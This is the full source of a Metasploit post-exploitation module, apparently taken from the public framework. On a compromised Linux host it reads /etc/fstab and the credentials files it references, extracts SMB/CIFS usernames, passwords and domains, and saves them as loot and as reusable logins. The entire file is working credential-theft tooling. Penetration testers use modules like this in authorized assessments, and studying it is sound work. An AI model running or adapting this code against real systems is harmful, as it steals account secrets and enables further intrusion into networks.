##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',
        'Description' => %q{
          Post Module to obtain credentials saved for mount.cifs/mount.smbfs in
          /etc/fstab on a Linux system.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Jon Hart <jhart[at]spoofed.org>'],
        'Platform' => ['linux'],
        'SessionTypes' => ['shell', 'meterpreter']
      )
    )
  end

  def run
    # keep track of any of the credentials files we read so we only read them once
    cred_files = []
    # where we'll store hashes of found credentials while parsing.  reporting is done at the end.
    creds = []
    # A table to store the found credentials for loot storage afterward
    cred_table = Rex::Text::Table.new(
      'Header' => 'mount.cifs credentials',
      'Indent' => 1,
      'Columns' =>
      [
        'Username',
        'Password',
        'Server',
        'File'
      ]
    )

    # parse each line from /etc/fstab
    fail_with(Failure::NotFound, '/etc/fstab not found on system') unless file_exist?('/etc/fstab')
    read_file('/etc/fstab').each_line do |fstab_line|
      fstab_line.strip!
      # where we'll store the current parsed credentials, if any
      cred = {}
      # if the fstab line utilizies the credentials= option, read the credentials from that file
      next unless (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*})

      cred[:host] = ::Regexp.last_match(1)
      # IPs can occur using the ip option, which is a backup/alternative
      # to letting UNC resolution do its thing
      cred[:host] = ::Regexp.last_match(1) if (fstab_line =~ /ip=([^, ]+)/)
      if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
        file = ::Regexp.last_match(1)
        # skip if we've already parsed this credentials file
        next if cred_files.include?(file)

        # store it if we haven't
        cred_files << file
        # parse the credentials
        cred.merge!(parse_credentials_file(file))
      # if the credentials are directly in /etc/fstab, parse them
      elsif (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=})
        cred.merge!(parse_fstab_credentials(fstab_line))
      end

      creds << cred
    end

    # all done.  clean up, report and loot.
    creds.flatten!
    creds.compact!
    creds.uniq!
    creds.each do |cred|
      if Rex::Socket.dotted_ip?(cred[:host])
        report_cred(
          ip: cred[:host],
          port: 445,
          service_name: 'smb',
          user: cred[:user],
          password: cred[:pass],
          proof: '/etc/fstab'
        )
      end
      cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
    end

    # store all found credentials
    unless cred_table.rows.empty?
      print_line("\n" + cred_table.to_s)
      p = store_loot(
        'mount.cifs.creds',
        'text/csv',
        session,
        cred_table.to_csv,
        'mount_cifs_credentials.txt',
        'mount.cifs credentials'
      )
      print_status("CIFS credentials saved in: #{p}")
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :session,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password,
      session_id: session_db_id,
      post_reference_name: refname
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
  # Returns the username+domain and password as a hash.
  def parse_fstab_credentials(line, file = '/etc/fstab')
    creds = {}
    # get the username option, which comes in one of four ways
    user_opt = ::Regexp.last_match(1) if (line =~ /user(?:name)?=([^, ]+)/)
    if user_opt
      case user_opt
      # domain/user%pass
      when %r{^([^/]+)/([^%]+)%(.*)$}
        creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
        creds[:pass] = ::Regexp.last_match(3)
      # domain/user
      when %r{^([^/]+)/([^%]+)$}
        creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
      # user%password
      when /^([^%]+)%(.*)$/
        creds[:user] = ::Regexp.last_match(1)
        creds[:pass] = ::Regexp.last_match(2)
      # user
      else
        creds[:user] = user_opt
      end
    end

    # get the password option if any
    creds[:pass] = ::Regexp.last_match(1) if (line =~ /pass(?:word)?=([^, ]+)/)

    # get the domain option, if any
    creds[:user] = "#{::Regexp.last_match(1)}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)

    creds[:file] = file unless creds.empty?

    creds
  end

  # Parse mount.cifs credentials from +file+, returning the username+domain and password
  # as a hash.
  def parse_credentials_file(file)
    creds = {}
    domain = nil
    read_file(file).each_line do |credfile_line|
      case credfile_line
      when /domain=(.*)/
        domain = ::Regexp.last_match(1)
      when /password=(.*)/
        creds[:pass] = ::Regexp.last_match(1)
      when /username=(.*)/
        creds[:user] = ::Regexp.last_match(1)
      end
    end
    # prepend the domain if one was found
    creds[:user] = "#{domain}\\#{creds[:user]}" if (domain && creds[:user])
    creds[:file] = file unless creds.empty?

    creds
  end
end
